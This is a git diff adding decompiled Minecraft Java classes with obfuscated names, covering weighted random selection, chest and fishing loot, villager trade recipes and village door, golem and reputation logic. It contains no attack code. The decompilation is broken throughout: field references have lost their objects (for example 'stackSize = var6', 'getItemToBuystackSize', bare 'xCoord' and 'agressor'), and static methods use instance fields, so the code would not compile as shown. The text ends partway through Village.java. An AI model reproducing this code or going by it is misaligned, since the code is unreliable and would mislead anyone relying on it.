+  public static int getTotalWeight(Collection p_76272_0_)
+  {
+    int var1 = 0;
+    
+    Item var3;
+    for (Iterator var2 = p_76272_0_.iterator(); var2.hasNext(); var1 += itemWeight)
+    {
+      var3 = (Item)var2.next();
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public static Item getRandomItem(Random p_76273_0_, Collection p_76273_1_, int p_76273_2_)
+  {
+    if (p_76273_2_ <= 0)
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+    int var3 = p_76273_0_.nextInt(p_76273_2_);
+    return func_180166_a(p_76273_1_, var3);
+  }
+  
+
+  public static Item func_180166_a(Collection p_180166_0_, int p_180166_1_)
+  {
+    Iterator var2 = p_180166_0_.iterator();
+    
+    Item var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (Item)var2.next();
+      p_180166_1_ -= itemWeight;
+    } while (
+    
+
+
+
+
+
+
+
+
+      p_180166_1_ >= 0);
+    
+    return var3;
+  }
+  
+
+
+
+  public static Item getRandomItem(Random p_76271_0_, Collection p_76271_1_)
+  {
+    return getRandomItem(p_76271_0_, p_76271_1_, getTotalWeight(p_76271_1_));
+  }
+  
+  public static class Item
+  {
+    protected int itemWeight;
+    private static final String __OBFID = "CL_00001504";
+    
+    public Item(int p_i1556_1_)
+    {
+      itemWeight = p_i1556_1_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/WeightedRandomChestContent.java b/src/minecraft/net/minecraft/util/WeightedRandomChestContent.java
new file mode 100644
index 0000000..5641c8d
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/WeightedRandomChestContent.java
@@ -0,0 +1,97 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntityDispenser;
+
+
+
+
+
+public class WeightedRandomChestContent
+  extends WeightedRandom.Item
+{
+  private ItemStack theItemId;
+  private int theMinimumChanceToGenerateItem;
+  private int theMaximumChanceToGenerateItem;
+  private static final String __OBFID = "CL_00001505";
+  
+  public WeightedRandomChestContent(Item p_i45311_1_, int p_i45311_2_, int p_i45311_3_, int p_i45311_4_, int p_i45311_5_)
+  {
+    super(p_i45311_5_);
+    theItemId = new ItemStack(p_i45311_1_, 1, p_i45311_2_);
+    theMinimumChanceToGenerateItem = p_i45311_3_;
+    theMaximumChanceToGenerateItem = p_i45311_4_;
+  }
+  
+  public WeightedRandomChestContent(ItemStack p_i1558_1_, int p_i1558_2_, int p_i1558_3_, int p_i1558_4_)
+  {
+    super(p_i1558_4_);
+    theItemId = p_i1558_1_;
+    theMinimumChanceToGenerateItem = p_i1558_2_;
+    theMaximumChanceToGenerateItem = p_i1558_3_;
+  }
+  
+  public static void generateChestContents(Random p_177630_0_, List p_177630_1_, IInventory p_177630_2_, int p_177630_3_)
+  {
+    for (int var4 = 0; var4 < p_177630_3_; var4++)
+    {
+      WeightedRandomChestContent var5 = (WeightedRandomChestContent)WeightedRandom.getRandomItem(p_177630_0_, p_177630_1_);
+      int var6 = theMinimumChanceToGenerateItem + p_177630_0_.nextInt(theMaximumChanceToGenerateItem - theMinimumChanceToGenerateItem + 1);
+      
+      if (theItemId.getMaxStackSize() >= var6)
+      {
+        ItemStack var7 = theItemId.copy();
+        stackSize = var6;
+        p_177630_2_.setInventorySlotContents(p_177630_0_.nextInt(p_177630_2_.getSizeInventory()), var7);
+      }
+      else
+      {
+        for (int var9 = 0; var9 < var6; var9++)
+        {
+          ItemStack var8 = theItemId.copy();
+          stackSize = 1;
+          p_177630_2_.setInventorySlotContents(p_177630_0_.nextInt(p_177630_2_.getSizeInventory()), var8);
+        }
+      }
+    }
+  }
+  
+  public static void func_177631_a(Random p_177631_0_, List p_177631_1_, TileEntityDispenser p_177631_2_, int p_177631_3_)
+  {
+    for (int var4 = 0; var4 < p_177631_3_; var4++)
+    {
+      WeightedRandomChestContent var5 = (WeightedRandomChestContent)WeightedRandom.getRandomItem(p_177631_0_, p_177631_1_);
+      int var6 = theMinimumChanceToGenerateItem + p_177631_0_.nextInt(theMaximumChanceToGenerateItem - theMinimumChanceToGenerateItem + 1);
+      
+      if (theItemId.getMaxStackSize() >= var6)
+      {
+        ItemStack var7 = theItemId.copy();
+        stackSize = var6;
+        p_177631_2_.setInventorySlotContents(p_177631_0_.nextInt(p_177631_2_.getSizeInventory()), var7);
+      }
+      else
+      {
+        for (int var9 = 0; var9 < var6; var9++)
+        {
+          ItemStack var8 = theItemId.copy();
+          stackSize = 1;
+          p_177631_2_.setInventorySlotContents(p_177631_0_.nextInt(p_177631_2_.getSizeInventory()), var8);
+        }
+      }
+    }
+  }
+  
+  public static List func_177629_a(List p_177629_0_, WeightedRandomChestContent... p_177629_1_)
+  {
+    ArrayList var2 = Lists.newArrayList(p_177629_0_);
+    Collections.addAll(var2, p_177629_1_);
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/WeightedRandomFishable.java b/src/minecraft/net/minecraft/util/WeightedRandomFishable.java
new file mode 100644
index 0000000..e45275f
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/WeightedRandomFishable.java
@@ -0,0 +1,61 @@
+package net.minecraft.util;
+
+import java.util.Random;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.item.ItemStack;
+
+public class WeightedRandomFishable extends WeightedRandom.Item
+{
+  private final ItemStack returnStack;
+  private float maxDamagePercent;
+  private boolean enchantable;
+  private static final String __OBFID = "CL_00001664";
+  
+  public WeightedRandomFishable(ItemStack p_i45317_1_, int p_i45317_2_)
+  {
+    super(p_i45317_2_);
+    returnStack = p_i45317_1_;
+  }
+  
+  public ItemStack getItemStack(Random p_150708_1_)
+  {
+    ItemStack var2 = returnStack.copy();
+    
+    if (maxDamagePercent > 0.0F)
+    {
+      int var3 = (int)(maxDamagePercent * returnStack.getMaxDamage());
+      int var4 = var2.getMaxDamage() - p_150708_1_.nextInt(p_150708_1_.nextInt(var3) + 1);
+      
+      if (var4 > var3)
+      {
+        var4 = var3;
+      }
+      
+      if (var4 < 1)
+      {
+        var4 = 1;
+      }
+      
+      var2.setItemDamage(var4);
+    }
+    
+    if (enchantable)
+    {
+      EnchantmentHelper.addRandomEnchantment(p_150708_1_, var2, 30);
+    }
+    
+    return var2;
+  }
+  
+  public WeightedRandomFishable setMaxDamagePercent(float p_150709_1_)
+  {
+    maxDamagePercent = p_150709_1_;
+    return this;
+  }
+  
+  public WeightedRandomFishable setEnchantable()
+  {
+    enchantable = true;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/MerchantRecipe.java b/src/minecraft/net/minecraft/village/MerchantRecipe.java
new file mode 100644
index 0000000..3f335fd
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/MerchantRecipe.java
@@ -0,0 +1,177 @@
+package net.minecraft.village;
+
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+
+
+
+
+
+
+
+
+
+
+
+
+public class MerchantRecipe
+{
+  private ItemStack itemToBuy;
+  private ItemStack secondItemToBuy;
+  private ItemStack itemToSell;
+  private int toolUses;
+  private int maxTradeUses;
+  private boolean field_180323_f;
+  private static final String __OBFID = "CL_00000126";
+  
+  public MerchantRecipe(NBTTagCompound p_i1940_1_)
+  {
+    readFromTags(p_i1940_1_);
+  }
+  
+  public MerchantRecipe(ItemStack p_i1941_1_, ItemStack p_i1941_2_, ItemStack p_i1941_3_)
+  {
+    this(p_i1941_1_, p_i1941_2_, p_i1941_3_, 0, 7);
+  }
+  
+  public MerchantRecipe(ItemStack p_i45760_1_, ItemStack p_i45760_2_, ItemStack p_i45760_3_, int p_i45760_4_, int p_i45760_5_)
+  {
+    itemToBuy = p_i45760_1_;
+    secondItemToBuy = p_i45760_2_;
+    itemToSell = p_i45760_3_;
+    toolUses = p_i45760_4_;
+    maxTradeUses = p_i45760_5_;
+    field_180323_f = true;
+  }
+  
+  public MerchantRecipe(ItemStack p_i1942_1_, ItemStack p_i1942_2_)
+  {
+    this(p_i1942_1_, null, p_i1942_2_);
+  }
+  
+  public MerchantRecipe(ItemStack p_i1943_1_, Item p_i1943_2_)
+  {
+    this(p_i1943_1_, new ItemStack(p_i1943_2_));
+  }
+  
+
+
+
+  public ItemStack getItemToBuy()
+  {
+    return itemToBuy;
+  }
+  
+
+
+
+  public ItemStack getSecondItemToBuy()
+  {
+    return secondItemToBuy;
+  }
+  
+
+
+
+  public boolean hasSecondItemToBuy()
+  {
+    return secondItemToBuy != null;
+  }
+  
+
+
+
+  public ItemStack getItemToSell()
+  {
+    return itemToSell;
+  }
+  
+  public int func_180321_e()
+  {
+    return toolUses;
+  }
+  
+  public int func_180320_f()
+  {
+    return maxTradeUses;
+  }
+  
+  public void incrementToolUses()
+  {
+    toolUses += 1;
+  }
+  
+  public void func_82783_a(int p_82783_1_)
+  {
+    maxTradeUses += p_82783_1_;
+  }
+  
+  public boolean isRecipeDisabled()
+  {
+    return toolUses >= maxTradeUses;
+  }
+  
+  public void func_82785_h()
+  {
+    toolUses = maxTradeUses;
+  }
+  
+  public boolean func_180322_j()
+  {
+    return field_180323_f;
+  }
+  
+  public void readFromTags(NBTTagCompound p_77390_1_)
+  {
+    NBTTagCompound var2 = p_77390_1_.getCompoundTag("buy");
+    itemToBuy = ItemStack.loadItemStackFromNBT(var2);
+    NBTTagCompound var3 = p_77390_1_.getCompoundTag("sell");
+    itemToSell = ItemStack.loadItemStackFromNBT(var3);
+    
+    if (p_77390_1_.hasKey("buyB", 10))
+    {
+      secondItemToBuy = ItemStack.loadItemStackFromNBT(p_77390_1_.getCompoundTag("buyB"));
+    }
+    
+    if (p_77390_1_.hasKey("uses", 99))
+    {
+      toolUses = p_77390_1_.getInteger("uses");
+    }
+    
+    if (p_77390_1_.hasKey("maxUses", 99))
+    {
+      maxTradeUses = p_77390_1_.getInteger("maxUses");
+    }
+    else
+    {
+      maxTradeUses = 7;
+    }
+    
+    if (p_77390_1_.hasKey("rewardExp", 1))
+    {
+      field_180323_f = p_77390_1_.getBoolean("rewardExp");
+    }
+    else
+    {
+      field_180323_f = true;
+    }
+  }
+  
+  public NBTTagCompound writeToTags()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    var1.setTag("buy", itemToBuy.writeToNBT(new NBTTagCompound()));
+    var1.setTag("sell", itemToSell.writeToNBT(new NBTTagCompound()));
+    
+    if (secondItemToBuy != null)
+    {
+      var1.setTag("buyB", secondItemToBuy.writeToNBT(new NBTTagCompound()));
+    }
+    
+    var1.setInteger("uses", toolUses);
+    var1.setInteger("maxUses", maxTradeUses);
+    var1.setBoolean("rewardExp", field_180323_f);
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/MerchantRecipeList.java b/src/minecraft/net/minecraft/village/MerchantRecipeList.java
new file mode 100644
index 0000000..bb046bd
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/MerchantRecipeList.java
@@ -0,0 +1,127 @@
+package net.minecraft.village;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.network.PacketBuffer;
+
+public class MerchantRecipeList extends ArrayList
+{
+  private static final String __OBFID = "CL_00000127";
+  
+  public MerchantRecipeList() {}
+  
+  public MerchantRecipeList(NBTTagCompound p_i1944_1_)
+  {
+    readRecipiesFromTags(p_i1944_1_);
+  }
+  
+
+
+
+  public MerchantRecipe canRecipeBeUsed(ItemStack p_77203_1_, ItemStack p_77203_2_, int p_77203_3_)
+  {
+    if ((p_77203_3_ > 0) && (p_77203_3_ < size()))
+    {
+      MerchantRecipe var6 = (MerchantRecipe)get(p_77203_3_);
+      return (ItemStack.areItemsEqual(p_77203_1_, var6.getItemToBuy())) && (((p_77203_2_ == null) && (!var6.hasSecondItemToBuy())) || ((var6.hasSecondItemToBuy()) && (ItemStack.areItemsEqual(p_77203_2_, var6.getSecondItemToBuy())) && (stackSize >= getItemToBuystackSize) && ((!var6.hasSecondItemToBuy()) || (stackSize >= getSecondItemToBuystackSize)))) ? var6 : null;
+    }
+    
+
+    for (int var4 = 0; var4 < size(); var4++)
+    {
+      MerchantRecipe var5 = (MerchantRecipe)get(var4);
+      
+      if ((ItemStack.areItemsEqual(p_77203_1_, var5.getItemToBuy())) && (stackSize >= getItemToBuystackSize) && (((!var5.hasSecondItemToBuy()) && (p_77203_2_ == null)) || ((var5.hasSecondItemToBuy()) && (ItemStack.areItemsEqual(p_77203_2_, var5.getSecondItemToBuy())) && (stackSize >= getSecondItemToBuystackSize))))
+      {
+        return var5;
+      }
+    }
+    
+    return null;
+  }
+  
+
+  public void func_151391_a(PacketBuffer p_151391_1_)
+  {
+    p_151391_1_.writeByte((byte)(size() & 0xFF));
+    
+    for (int var2 = 0; var2 < size(); var2++)
+    {
+      MerchantRecipe var3 = (MerchantRecipe)get(var2);
+      p_151391_1_.writeItemStackToBuffer(var3.getItemToBuy());
+      p_151391_1_.writeItemStackToBuffer(var3.getItemToSell());
+      ItemStack var4 = var3.getSecondItemToBuy();
+      p_151391_1_.writeBoolean(var4 != null);
+      
+      if (var4 != null)
+      {
+        p_151391_1_.writeItemStackToBuffer(var4);
+      }
+      
+      p_151391_1_.writeBoolean(var3.isRecipeDisabled());
+      p_151391_1_.writeInt(var3.func_180321_e());
+      p_151391_1_.writeInt(var3.func_180320_f());
+    }
+  }
+  
+  public static MerchantRecipeList func_151390_b(PacketBuffer p_151390_0_) throws IOException
+  {
+    MerchantRecipeList var1 = new MerchantRecipeList();
+    int var2 = p_151390_0_.readByte() & 0xFF;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      ItemStack var4 = p_151390_0_.readItemStackFromBuffer();
+      ItemStack var5 = p_151390_0_.readItemStackFromBuffer();
+      ItemStack var6 = null;
+      
+      if (p_151390_0_.readBoolean())
+      {
+        var6 = p_151390_0_.readItemStackFromBuffer();
+      }
+      
+      boolean var7 = p_151390_0_.readBoolean();
+      int var8 = p_151390_0_.readInt();
+      int var9 = p_151390_0_.readInt();
+      MerchantRecipe var10 = new MerchantRecipe(var4, var6, var5, var8, var9);
+      
+      if (var7)
+      {
+        var10.func_82785_h();
+      }
+      
+      var1.add(var10);
+    }
+    
+    return var1;
+  }
+  
+  public void readRecipiesFromTags(NBTTagCompound p_77201_1_)
+  {
+    NBTTagList var2 = p_77201_1_.getTagList("Recipes", 10);
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      add(new MerchantRecipe(var4));
+    }
+  }
+  
+  public NBTTagCompound getRecipiesAsTags()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < size(); var3++)
+    {
+      MerchantRecipe var4 = (MerchantRecipe)get(var3);
+      var2.appendTag(var4.writeToTags());
+    }
+    
+    var1.setTag("Recipes", var2);
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/Village.java b/src/minecraft/net/minecraft/village/Village.java
new file mode 100644
index 0000000..e14e4ef
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/Village.java
@@ -0,0 +1,596 @@
+package net.minecraft.village;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import java.util.TreeMap;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class Village
+{
+  private World worldObj;
+  private final List villageDoorInfoList = Lists.newArrayList();
+  
+  private BlockPos centerHelper;
+  
+  private BlockPos center;
+  
+  private int villageRadius;
+  
+  private int lastAddDoorTimestamp;
+  
+  private int tickCounter;
+  
+  private int numVillagers;
+  
+  private int noBreedTicks;
+  
+  private TreeMap playerReputation;
+  
+  private List villageAgressors;
+  
+  private int numIronGolems;
+  
+  private static final String __OBFID = "CL_00001631";
+  
+  public Village()
+  {
+    centerHelper = BlockPos.ORIGIN;
+    center = BlockPos.ORIGIN;
+    playerReputation = new TreeMap();
+    villageAgressors = Lists.newArrayList();
+  }
+  
+  public Village(World worldIn)
+  {
+    centerHelper = BlockPos.ORIGIN;
+    center = BlockPos.ORIGIN;
+    playerReputation = new TreeMap();
+    villageAgressors = Lists.newArrayList();
+    worldObj = worldIn;
+  }
+  
+  public void func_82691_a(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+
+
+
+  public void tick(int p_75560_1_)
+  {
+    tickCounter = p_75560_1_;
+    removeDeadAndOutOfRangeDoors();
+    removeDeadAndOldAgressors();
+    
+    if (p_75560_1_ % 20 == 0)
+    {
+      updateNumVillagers();
+    }
+    
+    if (p_75560_1_ % 30 == 0)
+    {
+      updateNumIronGolems();
+    }
+    
+    int var2 = numVillagers / 10;
+    
+    if ((numIronGolems < var2) && (villageDoorInfoList.size() > 20) && (worldObj.rand.nextInt(7000) == 0))
+    {
+      Vec3 var3 = func_179862_a(center, 2, 4, 2);
+      
+      if (var3 != null)
+      {
+        EntityIronGolem var4 = new EntityIronGolem(worldObj);
+        var4.setPosition(xCoord, yCoord, zCoord);
+        worldObj.spawnEntityInWorld(var4);
+        numIronGolems += 1;
+      }
+    }
+  }
+  
+  private Vec3 func_179862_a(BlockPos p_179862_1_, int p_179862_2_, int p_179862_3_, int p_179862_4_)
+  {
+    for (int var5 = 0; var5 < 10; var5++)
+    {
+      BlockPos var6 = p_179862_1_.add(worldObj.rand.nextInt(16) - 8, worldObj.rand.nextInt(6) - 3, worldObj.rand.nextInt(16) - 8);
+      
+      if ((func_179866_a(var6)) && (func_179861_a(new BlockPos(p_179862_2_, p_179862_3_, p_179862_4_), var6)))
+      {
+        return new Vec3(var6.getX(), var6.getY(), var6.getZ());
+      }
+    }
+    
+    return null;
+  }
+  
+  private boolean func_179861_a(BlockPos p_179861_1_, BlockPos p_179861_2_)
+  {
+    if (!World.doesBlockHaveSolidTopSurface(worldObj, p_179861_2_.offsetDown()))
+    {
+      return false;
+    }
+    
+
+    int var3 = p_179861_2_.getX() - p_179861_1_.getX() / 2;
+    int var4 = p_179861_2_.getZ() - p_179861_1_.getZ() / 2;
+    
+    for (int var5 = var3; var5 < var3 + p_179861_1_.getX(); var5++)
+    {
+      for (int var6 = p_179861_2_.getY(); var6 < p_179861_2_.getY() + p_179861_1_.getY(); var6++)
+      {
+        for (int var7 = var4; var7 < var4 + p_179861_1_.getZ(); var7++)
+        {
+          if (worldObj.getBlockState(new BlockPos(var5, var6, var7)).getBlock().isNormalCube())
+          {
+            return false;
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private void updateNumIronGolems()
+  {
+    List var1 = worldObj.getEntitiesWithinAABB(EntityIronGolem.class, new AxisAlignedBB(center.getX() - villageRadius, center.getY() - 4, center.getZ() - villageRadius, center.getX() + villageRadius, center.getY() + 4, center.getZ() + villageRadius));
+    numIronGolems = var1.size();
+  }
+  
+  private void updateNumVillagers()
+  {
+    List var1 = worldObj.getEntitiesWithinAABB(EntityVillager.class, new AxisAlignedBB(center.getX() - villageRadius, center.getY() - 4, center.getZ() - villageRadius, center.getX() + villageRadius, center.getY() + 4, center.getZ() + villageRadius));
+    numVillagers = var1.size();
+    
+    if (numVillagers == 0)
+    {
+      playerReputation.clear();
+    }
+  }
+  
+  public BlockPos func_180608_a()
+  {
+    return center;
+  }
+  
+  public int getVillageRadius()
+  {
+    return villageRadius;
+  }
+  
+
+
+
+
+  public int getNumVillageDoors()
+  {
+    return villageDoorInfoList.size();
+  }
+  
+  public int getTicksSinceLastDoorAdding()
+  {
+    return tickCounter - lastAddDoorTimestamp;
+  }
+  
+  public int getNumVillagers()
+  {
+    return numVillagers;
+  }
+  
+  public boolean func_179866_a(BlockPos p_179866_1_)
+  {
+    return center.distanceSq(p_179866_1_) < villageRadius * villageRadius;
+  }
+  
+
+
+
+  public List getVillageDoorInfoList()
+  {
+    return villageDoorInfoList;
+  }
+  
+  public VillageDoorInfo func_179865_b(BlockPos p_179865_1_)
+  {
+    VillageDoorInfo var2 = null;
+    int var3 = Integer.MAX_VALUE;
+    Iterator var4 = villageDoorInfoList.iterator();
+    
+    while (var4.hasNext())
+    {
+      VillageDoorInfo var5 = (VillageDoorInfo)var4.next();
+      int var6 = var5.func_179848_a(p_179865_1_);
+      
+      if (var6 < var3)
+      {
+        var2 = var5;
+        var3 = var6;
+      }
+    }
+    
+    return var2;
+  }
+  
+  public VillageDoorInfo func_179863_c(BlockPos p_179863_1_)
+  {
+    VillageDoorInfo var2 = null;
+    int var3 = Integer.MAX_VALUE;
+    Iterator var4 = villageDoorInfoList.iterator();
+    
+    while (var4.hasNext())
+    {
+      VillageDoorInfo var5 = (VillageDoorInfo)var4.next();
+      int var6 = var5.func_179848_a(p_179863_1_);
+      
+      if (var6 > 256)
+      {
+        var6 *= 1000;
+      }
+      else
+      {
+        var6 = var5.getDoorOpeningRestrictionCounter();
+      }
+      
+      if (var6 < var3)
+      {
+        var2 = var5;
+        var3 = var6;
+      }
+    }
+    
+    return var2;
+  }
+  
+  public VillageDoorInfo func_179864_e(BlockPos p_179864_1_)
+  {
+    if (center.distanceSq(p_179864_1_) > villageRadius * villageRadius)
+    {
+      return null;
+    }
+    
+
+    Iterator var2 = villageDoorInfoList.iterator();
+    
+    VillageDoorInfo var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (VillageDoorInfo)var2.next();
+    }
+    while ((var3.func_179852_d().getX() != p_179864_1_.getX()) || (var3.func_179852_d().getZ() != p_179864_1_.getZ()) || (Math.abs(var3.func_179852_d().getY() - p_179864_1_.getY()) > 1));
+    
+    return var3;
+  }
+  
+
+  public void addVillageDoorInfo(VillageDoorInfo p_75576_1_)
+  {
+    villageDoorInfoList.add(p_75576_1_);
+    centerHelper = centerHelper.add(p_75576_1_.func_179852_d());
+    updateVillageRadiusAndCenter();
+    lastAddDoorTimestamp = p_75576_1_.getInsidePosY();
+  }
+  
+
+
+
+  public boolean isAnnihilated()
+  {
+    return villageDoorInfoList.isEmpty();
+  }
+  
+  public void addOrRenewAgressor(EntityLivingBase p_75575_1_)
+  {
+    Iterator var2 = villageAgressors.iterator();
+    
+    VillageAgressor var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        villageAgressors.add(new VillageAgressor(p_75575_1_, tickCounter));
+        return;
+      }
+      
+      var3 = (VillageAgressor)var2.next();
+    }
+    while (agressor != p_75575_1_);
+    
+    agressionTime = tickCounter;
+  }
+  
+  public EntityLivingBase findNearestVillageAggressor(EntityLivingBase p_75571_1_)
+  {
+    double var2 = Double.MAX_VALUE;
+    VillageAgressor var4 = null;
+    
+    for (int var5 = 0; var5 < villageAgressors.size(); var5++)
+    {
+      VillageAgressor var6 = (VillageAgressor)villageAgressors.get(var5);
+      double var7 = agressor.getDistanceSqToEntity(p_75571_1_);
+      
+      if (var7 <= var2)
+      {
+        var4 = var6;
+        var2 = var7;
+      }
+    }
+    
+    return var4 != null ? agressor : null;
+  }
+  
+  public EntityPlayer func_82685_c(EntityLivingBase p_82685_1_)
+  {
+    double var2 = Double.MAX_VALUE;
+    EntityPlayer var4 = null;
+    Iterator var5 = playerReputation.keySet().iterator();
+    
+    while (var5.hasNext())
+    {
+      String var6 = (String)var5.next();
+      
+      if (isPlayerReputationTooLow(var6))
+      {
+        EntityPlayer var7 = worldObj.getPlayerEntityByName(var6);
+        
+        if (var7 != null)
+        {
+          double var8 = var7.getDistanceSqToEntity(p_82685_1_);
+          
+          if (var8 <= var2)
+          {
+            var4 = var7;
+            var2 = var8;
+          }
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  private void removeDeadAndOldAgressors()
+  {
+    Iterator var1 = villageAgressors.iterator();
+    
+    while (var1.hasNext())
+    {
+      VillageAgressor var2 = (VillageAgressor)var1.next();
+      
+      if ((!agressor.isEntityAlive()) || (Math.abs(tickCounter - agressionTime) > 300))
+      {
+        var1.remove();
+      }
+    }
+  }
+  
+  private void removeDeadAndOutOfRangeDoors()
+  {
+    boolean var1 = false;
+    boolean var2 = worldObj.rand.nextInt(50) == 0;
+    Iterator var3 = villageDoorInfoList.iterator();
+    
+    while (var3.hasNext())
+    {
+      VillageDoorInfo var4 = (VillageDoorInfo)var3.next();
+      
+      if (var2)
+      {
+        var4.resetDoorOpeningRestrictionCounter();
+      }
+      
+      if ((!func_179860_f(var4.func_179852_d())) || (Math.abs(tickCounter - var4.getInsidePosY()) > 1200))
+      {
+        centerHelper = centerHelper.add(var4.func_179852_d().multiply(-1));
+        var1 = true;
+        var4.func_179853_a(true);
+        var3.remove();
+      }
+    }
+    
+    if (var1)
+    {
+      updateVillageRadiusAndCenter();
+    }
+  }
+  
+  private boolean func_179860_f(BlockPos p_179860_1_)
+  {
+    Block var2 = worldObj.getBlockState(p_179860_1_).getBlock();
+    return var2.getMaterial() == Material.wood;
+  }
+  
+  private void updateVillageRadiusAndCenter()
+  {
+    int var1 = villageDoorInfoList.size();
+    
+    if (var1 == 0)
+    {
+      center = new BlockPos(0, 0, 0);
+      villageRadius = 0;
+    }
+    else
+    {
+      center = new BlockPos(centerHelper.getX() / var1, centerHelper.getY() / var1, centerHelper.getZ() / var1);
+      int var2 = 0;
+      
+      VillageDoorInfo var4;
+      for (Iterator var3 = villageDoorInfoList.iterator(); var3.hasNext(); var2 = Math.max(var4.func_179848_a(center), var2))
+      {
+        var4 = (VillageDoorInfo)var3.next();
+      }
+      
+      villageRadius = Math.max(32, (int)Math.sqrt(var2) + 1);
+    }
+  }
+  
+
+
+
+  public int getReputationForPlayer(String p_82684_1_)
+  {
+    Integer var2 = (Integer)playerReputation.get(p_82684_1_);
+    return var2 != null ? var2.intValue() : 0;
+  }
+  
+
+
+
+  public int setReputationForPlayer(String p_82688_1_, int p_82688_2_)
+  {
+    int var3 = getReputationForPlayer(p_82688_1_);
+    int var4 = MathHelper.clamp_int(var3 + p_82688_2_, -30, 10);
+    playerReputation.put(p_82688_1_, Integer.valueOf(var4));
+    return var4;
+  }
+  
+
+
+
+  public boolean isPlayerReputationTooLow(String p_82687_1_)
+  {
+    return getReputationForPlayer(p_82687_1_) <= -15;
+  }
+  
+
+
+
+  public void readVillageDataFromNBT(NBTTagCompound p_82690_1_)
+  {
+    numVillagers = p_82690_1_.getInteger("PopSize");
+    villageRadius = p_82690_1_.getInteger("Radius");
+    numIronGolems = p_82690_1_.getInteger("Golems");
+    lastAddDoorTimestamp = p_82690_1_.getInteger("Stable");
+    tickCounter = p_82690_1_.getInteger("Tick");
+    noBreedTicks = p_82690_1_.getInteger("MTick");
+    center = new BlockPos(p_82690_1_.getInteger("CX"), p_82690_1_.getInteger("CY"), p_82690_1_.getInteger("CZ"));
+    centerHelper = new BlockPos(p_82690_1_.getInteger("ACX"), p_82690_1_.getInteger("ACY"), p_82690_1_.getInteger("ACZ"));
+    NBTTagList var2 = p_82690_1_.getTagList("Doors", 10);
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      VillageDoorInfo var5 = new VillageDoorInfo(new BlockPos(var4.getInteger("X"), var4.getInteger("Y"), var4.getInteger("Z")), var4.getInteger("IDX"), var4.getInteger("IDZ"), var4.getInteger("TS"));
+      villageDoorInfoList.add(var5);
+    }
+    
+    NBTTagList var6 = p_82690_1_.getTagList("Players", 10);
+    
+    for (int var7 = 0; var7 < var6.tagCount(); var7++)
+    {
+      NBTTagCompound var8 = var6.getCompoundTagAt(var7);
+      playerReputation.put(var8.getString("Name"), Integer.valueOf(var8.getInteger("S")));
+    }
+  }
+  
+
+
+
+  public void writeVillageDataToNBT(NBTTagCompound p_82689_1_)
+  {
+    p_82689_1_.setInteger("PopSize", numVillagers);
+    p_82689_1_.setInteger("Radius", villageRadius);
+    p_82689_1_.setInteger("Golems", numIronGolems);
+    p_82689_1_.setInteger("Stable", lastAddDoorTimestamp);
+    p_82689_1_.setInteger("Tick", tickCounter);
+    p_82689_1_.setInteger("MTick", noBreedTicks);
+    p_82689_1_.setInteger("CX", center.getX());
+    p_82689_1_.setInteger("CY", center.getY());
+    p_82689_1_.setInteger("CZ", center.getZ());
+    p_82689_1_.setInteger("ACX", centerHelper.getX());
+    p_82689_1_.setInteger("ACY", centerHelper.getY());
+    p_82689_1_.setInteger("ACZ", centerHelper.getZ());
+    NBTTagList var2 = new NBTTagList();
+    Iterator var3 = villageDoorInfoList.iterator();
+    
+    while (var3.hasNext())
+    {
+      VillageDoorInfo var4 = (VillageDoorInfo)var3.next();
+      NBTTagCompound var5 = new NBTTagCompound();
+      var5.setInteger("X", var4.func_179852_d().getX());
+      var5.setInteger("Y", var4.func_179852_d().getY());
+      var5.setInteger("Z", var4.func_179852_d().getZ());
+      var5.setInteger("IDX", var4.func_179847_f());
+      var5.setInteger("IDZ", var4.func_179855_g());
+      var5.setInteger("TS", var4.getInsidePosY());
+      var2.appendTag(var5);
+    }
+    
+    p_82689_1_.setTag("Doors", var2);
